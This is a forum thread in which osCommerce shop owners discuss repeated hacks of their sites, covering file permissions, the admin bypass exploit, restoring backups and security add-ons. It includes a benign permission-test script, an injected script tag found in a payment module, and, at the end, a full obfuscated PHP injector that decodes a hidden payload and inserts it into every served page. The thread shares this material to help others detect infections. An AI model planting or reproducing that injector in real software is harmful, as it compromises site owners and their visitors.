Hacked webshop!

[mousewebdesign]

Hi all,

 

For now the following files are affected everytime the hack-script has been run:

 

languages/dutch/index.php

languages/dutch/checkout_success.php

languages/dutch/expected_products.php

languages/dutch/cursus_lijst.php (my own page)

languages/dutch/tell_my_friends_success.php (my own page)

languages/dutch/recently_viewed.php

languages/dutch/help_shipping.php (my own page)

and

languages/dutch/activities.php (my own page)

 

It just happened again: all these eight files were changed and rewritten with the code in it !

 

It must be something which has been installed on the website or so, because I'm working on the file permissions the whole afternoon, trying to set everthing right.

 

Marcus

[Taipo]

This has happened to a client of mine twice now ..

 

First time it happened I applied the PHP_SELF fix that was mentioned in numerous threads, I also applied the .htaccess changes to prevent direct PHP access from the includes folder and I did the same for the images directory..

 

I executed a linux command .. find -name "*.php" -mtime -1 and identified all modified files, there were no new files uploaded so no PHP shells or anything like that.. just modified language files!

 

I checked FTP logs, so no FTP logins .. someone is clearly posting to an existing OSC file that is allowing them to execute code .. the admin folder is protected by htaccess and I don't see any one accessing that directory anyway via http so I'm not sure yet how it's happening but I've at least narrowed it to the main catalog folder and not any sort of PHP shell ..

 

By the way someone asked about hosting, this site is hosted on a local provider's server .. small company.. I have my own server with several oscommerce sites, none of those have been touched but I also have write permissions locked down

 

I wrote a little speel about the two tiered attack people have been experiencing

 

http://www.oscommerce.com/forums/topic/372970-malware-cookie-usagephp-explained/

 

Might help.

[♥altoid]

Long-winded I know, but just hope it gives a better insight into why there are differences in server setups where that same code above on one site would say that index.php is read only, and on another, its writable, yet the file permissions are the same.

 

And with this, while still a novice, I am a bit more educated in this topic. After testing I am apparently on the type 2 set up. Thanks again Taipo for sharing this info.

[Taipo]

Here is a slightly improved version of the test:

 

<?php

 // change the file name to whatever file you are testing
 $testfile = "testchmod.php";

 error_reporting(0);
 $i=0;
 $content = NULL;
 $writeperms = substr( decoct( fileperms( $testfile ) ),3 );

 if ($writeperms <= 665) {
   if ( !chmod( $testfile, 0666 ) ) {
     $i++;
   } else {
     $msg .= "able to chmod<br>";
   }
 } else {
   $msg .= $testfile . " is already chmod to " . $writeperms . "<br>";
 }
  if (!$fp = fopen($testfile, 'r')) {
   $i++;
 } else {
   $content = stream_get_contents($fp, -1, 0);
   fclose($fp);
   $msg .= "able to read content of " . $testfile . "<br>";
 }
 if ( !$fp = @fopen( $testfile, "w" ) ) {
   $i++;
 } else {
   $msg .= "able to open " . $testfile . "<br>";
 } 
 if ( fwrite( $fp, $content ) === FALSE ) {
   $i++;
 } else {
   $msg .= "able to write to file " . $testfile . "<br>";
 } 
 if ( !fclose( $fp ) ) {
   $i++;
 } else {
   $msg .= "able to close file " . $testfile . "<br>";
 } 
 if( $i > 0 ) { 
   echo $testfile . " is Write-Protected ";
 } else {
   echo $msg;
 } 
?>

[Backcountry_Surfer]

Right ... I have spent the last couple of days searching through my backups to find one I am sure (99%) is clean. Found one that is months old and has several addons/contributions less than my current one so, have started from scratch by implementing these addons plus new security measures in a copy of that clean version and will finish them off with the online part of the instructions once uploaded.

 

My question is do I completely remove my store by deleting everything via ftp then uploading my backup as, when I innitially suggested this way back in January to my host they said it might not be a good idea to completely remove every file? But didn't explain why! Useless (Netcetera)

 

But by the looks of whats going on at the moment I don't see any alternative as I don't really know what Im looking for and where, this seems to me to be the quicker and more efficient way rather than sifting through countless pages and folders looking for malicious code?

 

What do you guys think?

 

Cheers!

[Backcountry_Surfer]

Also, I am on a windows server IIS so as far as I am aware .htaccess has no effect at keeping the little @!%£#/&(Tykes) out? What else is as effective or do I need to change hosts? I have installed the following

 

Security Pro 2.0 (r7)

SiteMonitor V 2.9

IP Trap V 5.1

 

Changed admin folder name, passwords etc etc ... disabled product reviews and renamed the associated php files. Anything else?

 

Danny

[♥altoid]

 

My question is do I completely remove my store by deleting everything via ftp then uploading my backup as, when I innitially suggested this way back in January to my host they said it might not be a good idea to completely remove every file? But didn't explain why! Useless (Netcetera)

 

 

Danny, just addressing the part of your post about deleting everything and restoring with a clean backup....I don't know why that wouldn't work. I have been with a couple hosts over the past couple years and due to non-security related screw ups that I did, I had to completely reinstall from a back up. No problem for me what-so-ever as long as the database is consistent with the back up file. Maybe there's something host specific that would effect such action but I don't see what that would be.

[Backcountry_Surfer]

altoid, thanks for the reply didn't think so and have started that procedure. Fingers crossed!

Cheers

[♥altoid]

altoid, thanks for the reply didn't think so and have started that procedure. Fingers crossed!

Cheers

 

If after reinstall you get a "can write to your configure.php" message on your webpage...you need to go back in and change the permissions to both configure.php file. On my server they need to be 444, yours may differ.

[chiraag6]

hey guys,

 

i don't know if it helps but..

 

i found this in the includes/modules/payment/paypal

 

</style><script charset="utf-8" id="injection_graph_func" src="wpp_files/injection_graph_func.js"></script><script type="text/javascript">

 

 

may be something to scan for?

[mousewebdesign]

Hi all,

 

I've chmod'ed every file in includes/languages/dutch to 644 and I've not been hacked again !

 

for me this does the trick !

 

marcus

[Taipo]

My question is do I completely remove my store by deleting everything via ftp then uploading my backup as, when I innitially suggested this way back in January to my host they said it might not be a good idea to completely remove every file? But didn't explain why! Useless (Netcetera)

 

Make a backup of your current store either on the site itself or download it to a backup directory, also take a backup of your database as well. Then delete the files and proceed with uploading the older version. That way if it all 'turns to custard' you can at least restore your site back to where it is now.

 

Also, I am on a windows server IIS so as far as I am aware .htaccess has no effect at keeping the little @!%£#/&(Tykes) out? What else is as effective or do I need to change hosts? I have installed the following

 

Security Pro 2.0 (r7)

SiteMonitor V 2.9

IP Trap V 5.1

 

Changed admin folder name, passwords etc etc ... disabled product reviews and renamed the associated php files. Anything else?

 

If there are files in the main directory that have the types of file upload and file injection code in them similar to the one mentioned above in my earlier post then as stated, the only thing you can do to combat that is remove the offending code. That goes for any operating system as well.

 

As for addons, you might want to give the contribution in my signature a go as well.

[Taipo]

Hi all,

 

I've chmod'ed every file in includes/languages/dutch to 644 and I've not been hacked again !

 

for me this does the trick !

 

marcus

 

Marcus, this is a good example of my earlier discussion of a site hosted on a server that employs the first method, where file and directory security fall to their permissions. On this configuration, it was quite possible for an attacker to exploit the admin bypass as with any site that was not patched, but also to use that to either attack other websites on your server, or, other websites on that server with the same security vulnerabilities could be used to infect yours. So patching your site and making all files read only and directories to be entry and view only (for the method 1 configuration that would be 644 for files, and 755 for directories) would solve your problems.

 

The problem is that many oscommerce users do not have their sites on servers with the same configuration as yours. On theirs 644 is still writable. While 444 is read only on their configurations (method 2), the fact that PHP has owner privaleges under method 2 configuration, means its possible for an attacker via hacked files such as the cookie_usage.php to change the permissions back from 444 to 644 or higher, then write to the files, and even change the permissions back to 444.

 

One a server with the first method employed (the one your host uses), files should be read only by default, because 644 is the default upload file permission. Same goes for directories because the default created or uploaded directory permission is 755 which is not writable in method 1 configuration.

 

Where we run into problems is where the server is configured as in method 2, and the default directory and file permissions are still the same, therefore every file is writable by default, and every directory is too.

 

So once upon a time it was good advice to give, to change file permissions to 644, and directories to 755, but now with this new method being employed (and variations of it), file and directory permissions in a method 2 configuration do not enhance the sercurity of the site by setting them to read only (although it doesnt hurt to). The best settings in method 2 configuration is to make sure they are NOT world writable, for files, world writable would be 666 and for directories 777 but this will not save your site from exploitation (nothing will), if there are files still resident on there that have dangerous exploit code in them.

[satish]

I agree to Taipo comment.

 

The suggestion of 444 will atleast make you know that something internally still resides if your file or folder permissions get changed.

 

A cleaned up pages(site) and then an upload followed by 444 for files if still results in some hacking and permission changes means you need to call a security expert to look in further.

 

 

 

 

 

 

 

Satish

 

 

 

 

 

 

 

 

[Backcountry_Surfer]

So far so good ... I have gone right back to an Oct 10 backup of my site and as yet no problems. I had to re upload a couple of hundred photos and re install some addons but, as I thought it was quicker to do.

 

Don't know if I have enough security so, I am making backups after every little change I make. I've locked my image folders renamed other folders these pesky little hackers are attracted too but, still looking for an alternative to htaccess? My hosts say I need my permissions set to 777 and I even asked them whether a htaccess file was worth having with a vague answer that I translated as being NO! I am on a windows server IIS and there are soooo many conflicting arguments about whether its even worth putting a htaccess file in any of my folders because of my setup that I don't know what to do?

 

Sitemonitor seems to be working fine with the exception of a warning to do with having NO htaccess file in my images folder ...

 

Hope everyones getting on top of this now? Good luck and any ideas/suggestions about the above mentioned, please throw em my way.

 

Danny

[Taipo]

I think the point is, if you have to lock your folders to keep attackers out, they are still in....

 

There are three primary potential methods of entering a file into a website.

1/ with a legitimate ftp user and password

2/ via a security hole

3/ launched from another website on a shared server (on some OS and some server configurations)

 

Locking folders on some configurations of webservers will prevent an attack being launched from another website on the same server. But it will not prevent an attack where the attackers exploit code is still resident in your website file repository.

 

So the next point, and this is just food for thought for you, is since the admin bypass exploit has been in oscommerce for almost 8 years now, it is only an assumption that backups that date back before it became public knowledge, are safe to use.

 

Secondly when you uploaded your backup copy, I assume you actually removed the entire site files first?

 

The last thing to think about is the total enthalpy spent on this. Sometimes, its easier just to build a new site with the latest version 2.3.1 and start again :-/

 

Hope it all goes well for you, and if you get time take a look at the contrib I wrote called osc_sec.php it also has some interesting ideas in it for security that some have already covered, and some new ones too.

[Xpajun]

So far so good ... I have gone right back to an Oct 10 backup of my site and as yet no problems. I had to re upload a couple of hundred photos and re install some addons but, as I thought it was quicker to do.

 

Don't know if I have enough security so, I am making backups after every little change I make. I've locked my image folders renamed other folders these pesky little hackers are attracted too but, still looking for an alternative to htaccess? My hosts say I need my permissions set to 777 and I even asked them whether a htaccess file was worth having with a vague answer that I translated as being NO! I am on a windows server IIS and there are soooo many conflicting arguments about whether its even worth putting a htaccess file in any of my folders because of my setup that I don't know what to do?

 

Sitemonitor seems to be working fine with the exception of a warning to do with having NO htaccess file in my images folder ...

 

Hope everyones getting on top of this now? Good luck and any ideas/suggestions about the above mentioned, please throw em my way.

 

Danny

 

 

Windows does not recognise .htaccess

 

If a host told me I need my permissions set to 777 they wouldn't be hosting me

[Taipo]

On some configurations 777 is the only option to allow PHP to write to folders. On others, PHP can write to folders as long as the owner permission is 7..

 

Which on a shared webserver is a security risk, but with oscommerce, unpatched oscommerce is by far the bigger risk, folder permissions will not save an unpatched site or a site that still has malicious upload code either inserted into one of its files or as a file itself before the site was patched.

 

The argument about the vulnerability of a directory with permissions set to 777 is a bit of a red herring Im sorry. It must first concede that attackers can enter at will and put malicious code all over any site with writable directories.

 

On a secure site that sits on a server that requires 777 for a directory to be writable, the only way in is from another website on the same shared server. If that happens, it does not matter what the permissions setting is, an attacker can still "READ" folder content, so therefore could easily "READ" the contents of the configure.php file and get the mysql database username and password (for example) even if the directories were set to read, entry only.

 

Yet 99.999999999% of hacks in oscommerce have come via oscommerce own coding. Attackers working on sites that sit on the method 2 type configuration where no directories are supposedly writable, are having a party overwriting files and adding files anywhere they wish.

 

They are able to do so much more damage on servers that do not demand the 777 setting because of the admin bypass exploit allowed them to upload files into any directory because on that setup PHP is the owner.

 

So you tend to see less damage on sites that are on servers that ask for a 777 writable directory setting, than the other.

[Xpajun]

Taipo, you can use these servers if you wish - I suspect that many are cheap resellers - my own philosophy is that if you have a store taking money from innocent people then you should have the most secure and secureable hosting service you can get and then make sure your site is secure against hacks, therefore if a host only allow you 777 as permissions then they will never be in my line up to provide a hosting service - nor should they be in any others that run a ecommerce store

[Taipo]

In actual fact the cheap resellers are mostly using the other method of shared hosting where the script and the user are the owner. That is why many sites become riddled with files and overwritten code.

 

my own philosophy is that if you have a store taking money from innocent people then you should have the most secure and secureable hosting service you can get

 

I think if that was something you really took seriously yourself you would not be using oscommerce or any free script in the first place.

 

therefore if a host only allow you 777 as permissions then they will never be in my line up to provide a hosting service

 

I am not disagreeing with your personal choice, I am just stating that it is not based on actual fact nor is it really relevant to the types of attacks that many thousands of oscommerce users are experiencing. They are not being hacked because someone can write from a shared host site to another sites image folder, they are being hacked primarily because someone can use the admin bypass exploit to create their own admin user on your site, take all your credit card numbers if stored in the database, read the user and password in the configure.php file and then log into your database and back it up - that is the very least someone can do with this exploit.

 

That happens on all servers an unpatched oscommerce sitesno matter which method of permissions configuration the server owner employs. That has been the cause of almost ALL oscommerce attacks and has loaded sites with dozens of backdoor files ready to be used once the admin folder issues are fixed. On sites that force a 777 to be writable, those folders will have files installed in them for future use by the attacker.

 

On other server configurations, all folders can be loaded with files, with permissions 700 and higher, the default being 755, because if PHP is the owner then it has the permissions of the first (7).

 

As stated in that security tutorial in the other thread, site owners personal computers can also get infected by a file that sends the username and passwords to the attacker which then gives them a third level of attacks on oscommerce sites.

 

So you see the method being employed here by the attackers.

 

They are focussing on the inability of the site owner to fix their stuff. Every single attack vector depends on this, not one exploit I have seen is designed to traverse from one site to another, although.....it is technically possible to do, it is by far a much more difficult attack to launch and one that needs an actual person to sit on a server and research it and then come up with the correct attack vector.

 

All of these attacks to date can be done are most are being done in an automated manner. The reason I say that the 777 issue is a red herring is because it is often used in a manner that says to me that the user of the term does not really understand the implications of that particular security weakness and is using it merely to shift the focus away from facts on the ground.

 

If an oscommerce site is compromised, the attacking script will have a party at your expense if all your folders are writable by PHP as is often the case with servers that do not demand a 777 write permission for directories.

 

This is why the 777 write only configuration of web servers tends to have less damage done to them when the sites admin folder is exploited. Because on those servers the attacker can only play with writable folders, whereas on the one you talk about, an attacker can and often does write files all over the site.

 

So the point again is not about whether or not 777 is inherently insecure, but about patching your website which is by far the most insecure factor in this entire equation.

 

Once your site is completely airtight, then you can consider if you like, the issue of the writable folder type configuration.

 

and then make sure your site is secure against hacks

 

This is the best place to start and focus on for most oscommerce users. The advice we should all be giving is the hard advice and that is to delete the infectd webshop and start with a new install of 2.3.1 - for most users that is the best option since they will not know nor possess the ability to patch their code and remove rogue files sufficiently enough to get 'all' of it.

[birdrockdesigns]

I have security features installed (FWR Security Pro, Bad Behavior Contribution, moved the admin to a new folder, htaccess files are good and file permissions are correct). Site got hacked about 5 times in the last week.

 

How do they bypass all the security?

[Guest]

Dave,

 

My guess would be your site was hacked...then you decided to add the above security. However, as Te Taipo pointed out in several other posts, hackers are using a script that lays dormant and virtually undetectable until called upon, then it injects code into pre-selected files thereby re-infecting your site at anytime. Check his other posts in the security thread for more information about it.

 

 

 

 

Chris

[birdrockdesigns]

Hi Chris,

 

Thanks for the response. The security was installed a long time ago. Which is why it's more puzzling to me how this could happen as we have Sitelock scanning the site daily.

 

I've used the php test to see if php can change permissions on files, and this is the case. What can I do? Is there a way to tell php not to change permission via htaccess?

 

Thanks,

Dave

[Guest]

Dave,

 

I am not sure about that, but depending on your hosting account setup you may be able to prevent permission changes from any anywhere other than your hosting account control panel.

 

 

 

 

 

Chris

[birdrockdesigns]

Something else to look for:

 

<?php global $ob_starting;
if(!$ob_starting) {
  function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 8, 9, 73, 12, 76, 68, 63, 78, 19, 23, 24, 3, 65, 70, 27, 14, 16, 20, 80, 17, 29, 89, 86, 85, 2, 77, 91, 93, 11, 18, 71, 66, 72, 75, 87, 74, 22, 37, 52, 13, 59, 61, 25, 28, 21, 1, 35, 15, 34, 36, 30, 88, 41, 92, 46, 33, 51);
$tr = array(51, 5, 4, 3, 10, 26, 2, 0, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 58, 10, 21, 0, 8, 2, 29, 26, 1, 7, 21, 8, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 9, 28, 28, 32, 31, 15, 13, 1, 21, 10, 15, 1, 13, 32, 9, 0, 34, 0, 0, 0, 30, 20, 3, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 15, 1, 42, 0, 63, 3, 3, 20, 29, 8, 6, 19, 25, 39, 18, 37, 17, 37, 6, 11, 0, 6, 19, 18, 27, 17, 18, 17, 21, 6, 11, 0, 6, 19, 18, 16, 37, 21, 18, 16, 6, 11, 0, 6, 19, 18, 18, 17, 21, 17, 25, 6, 11, 0, 6, 19, 25, 4, 16, 27, 18, 16, 6, 11, 0, 6, 19, 17, 25, 18, 17, 18, 16, 6, 11, 0, 6, 19, 16, 1, 17, 50, 17, 24, 6, 11, 0, 6, 19, 18, 52, 17, 24, 18, 37, 6, 11, 0, 6, 19, 17, 37, 18, 27, 17, 18, 6, 11, 0, 6, 19, 17, 21, 18, 16, 16, 27, 6, 11, 0, 6, 19, 37, 21, 18, 37, 18, 27, 6, 11, 0, 6, 19, 17, 37, 25, 4, 16, 27, 6, 11, 0, 6, 19, 17, 17, 18, 16, 18, 16, 6, 11, 0, 6, 19, 17, 21, 25, 50, 16, 1, 6, 11, 0, 6, 19, 16, 1, 25, 17, 25, 52, 6, 11, 0, 6, 19, 16, 13, 25, 25, 25, 25, 6, 11, 0, 6, 19, 16, 13, 25, 24, 25, 16, 6, 11, 0, 6, 19, 16, 21, 16, 13, 25, 27, 6, 11, 0, 6, 19, 16, 21, 25, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 37, 16, 1, 6, 11, 0, 6, 19, 17, 50, 18, 24, 18, 25, 6, 11, 0, 6, 19, 17, 25, 18, 27, 18, 18, 6, 11, 0, 6, 19, 16, 13, 17, 4, 17, 18, 6, 11, 0, 6, 19, 17, 13, 16, 13, 17, 21, 6, 11, 0, 6, 19, 17, 17, 17, 21, 16, 27, 6, 11, 0, 6, 19, 25, 13, 24, 24, 24, 24, 6, 9, 22, 0, 0, 0, 30, 20, 3, 0, 3, 1, 13, 1, 21, 14, 4, 7, 12, 7, 3, 5, 0, 28, 0, 27, 22, 0, 0, 0, 30, 20, 3, 0, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 0, 28, 0, 24, 22, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 2, 11, 5, 2, 29, 12, 1, 13, 9, 0, 34, 30, 20, 3, 0, 5, 0, 28, 0, 32, 32, 22, 21, 7, 3, 0, 8, 43, 28, 24, 22, 43, 51, 2, 23, 12, 1, 15, 38, 2, 40, 22, 43, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 3, 38, 39, 0, 28, 0, 2, 48, 43, 49, 22, 21, 7, 3, 0, 8, 10, 28, 27, 22, 10, 51, 17, 22, 10, 36, 36, 9, 0, 34, 30, 20, 3, 0, 4, 14, 4, 12, 3, 0, 28, 0, 4, 14, 3, 38, 39, 23, 5, 31, 39, 5, 2, 3, 8, 10, 36, 36, 11, 37, 9, 22, 10, 21, 0, 8, 4, 14, 4, 12, 3, 53, 28, 32, 24, 24, 32, 9, 0, 5, 0, 36, 28, 0, 64, 2, 3, 10, 15, 38, 23, 21, 3, 7, 33, 54, 40, 20, 3, 54, 7, 13, 1, 8, 26, 20, 3, 5, 1, 60, 15, 2, 8, 4, 14, 4, 12, 3, 11, 27, 44, 9, 47, 27, 52, 9, 22, 35, 35, 10, 21, 0, 8, 5, 2, 29, 12, 1, 13, 9, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 16, 44, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 0, 36, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 37, 9, 9, 22, 35, 0, 1, 12, 5, 1, 0, 34, 5, 0, 28, 0, 5, 23, 5, 31, 39, 5, 2, 3, 8, 16, 44, 11, 8, 5, 23, 12, 1, 15, 38, 2, 40, 47, 16, 18, 9, 9, 0, 36, 0, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 48, 27, 49, 23, 5, 31, 39, 5, 2, 3, 8, 24, 11, 27, 9, 36, 15, 1, 42, 0, 57, 20, 2, 1, 8, 9, 23, 38, 1, 2, 46, 10, 33, 1, 8, 9, 22, 35, 3, 1, 2, 31, 3, 15, 0, 5, 22, 0, 0, 0, 35, 0, 0, 0, 21, 31, 15, 4, 2, 10, 7, 15, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 0, 34, 2, 3, 29, 0, 34, 0, 0, 0, 10, 21, 8, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 56, 29, 60, 13, 0, 61, 61, 0, 53, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 9, 34, 13, 7, 4, 31, 33, 1, 15, 2, 23, 42, 3, 10, 2, 1, 8, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 27, 9, 9, 22, 0, 0, 0, 35, 0, 1, 12, 5, 1, 0, 34, 30, 20, 3, 0, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 28, 13, 7, 4, 31, 33, 1, 15, 2, 23, 4, 3, 1, 20, 2, 1, 45, 12, 1, 33, 1, 15, 2, 8, 32, 5, 4, 3, 10, 26, 2, 32, 9, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 2, 29, 26, 1, 28, 32, 2, 1, 59, 2, 55, 43, 20, 30, 20, 5, 4, 3, 10, 26, 2, 32, 22, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 23, 5, 3, 4, 28, 13, 10, 30, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 13, 10, 30, 14, 4, 7, 12, 7, 3, 5, 11, 24, 9, 22, 13, 7, 4, 31, 33, 1, 15, 2, 23, 38, 1, 2, 45, 12, 1, 33, 1, 15, 2, 5, 56, 29, 46, 20, 38, 62, 20, 33, 1, 8, 32, 40, 1, 20, 13, 32, 9, 48, 24, 49, 23, 20, 26, 26, 1, 15, 13, 54, 40, 10, 12, 13, 8, 15, 1, 42, 14, 4, 5, 2, 29, 12, 1, 9, 22, 35, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 35, 2, 3, 29, 0, 34, 4, 40, 1, 4, 41, 14, 4, 7, 12, 7, 3, 5, 14, 26, 10, 4, 41, 1, 13, 8, 9, 22, 35, 0, 4, 20, 2, 4, 40, 8, 1, 9, 0, 34, 0, 5, 1, 2, 46, 10, 33, 1, 7, 31, 2, 8, 32, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 32, 11, 0, 52, 24, 24, 9, 22, 35, 0, 0, 0, 35, 0, 0, 0, 2, 3, 29, 14, 26, 10, 4, 41, 14, 4, 7, 12, 7, 3, 5, 8, 9, 22, 35, 51, 55, 5, 4, 3, 10, 26, 2, 58);

$ob_htm = ''; foreach($tr as $tval) {
	$ob_htm .= chr($tc[$tval]+32);
}

$slw=strtolower($s);
$i=strpos($slw,'</script');if($i){$i=strpos($slw,'>',$i);}
if(!$i){$i=strpos($slw,'</div');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</table');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</form');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</p');if($i){$i=strpos($slw,'>',$i);}}
if(!$i){$i=strpos($slw,'</body');if($i){$i--;}}
if(!$i){$i=strlen($s);if($i){$i--;}}
$i++; $s=substr($s,0,$i).$ob_htm.substr($s,$i);

return $s;
  }
  $ob_starting = time();
  @ob_start("ob_start_flush");
} ?>

 

Some info here: http://stackoverflow.com/questions/5456462/what-does-this-php-code-do

 

I found this code in many, many pages.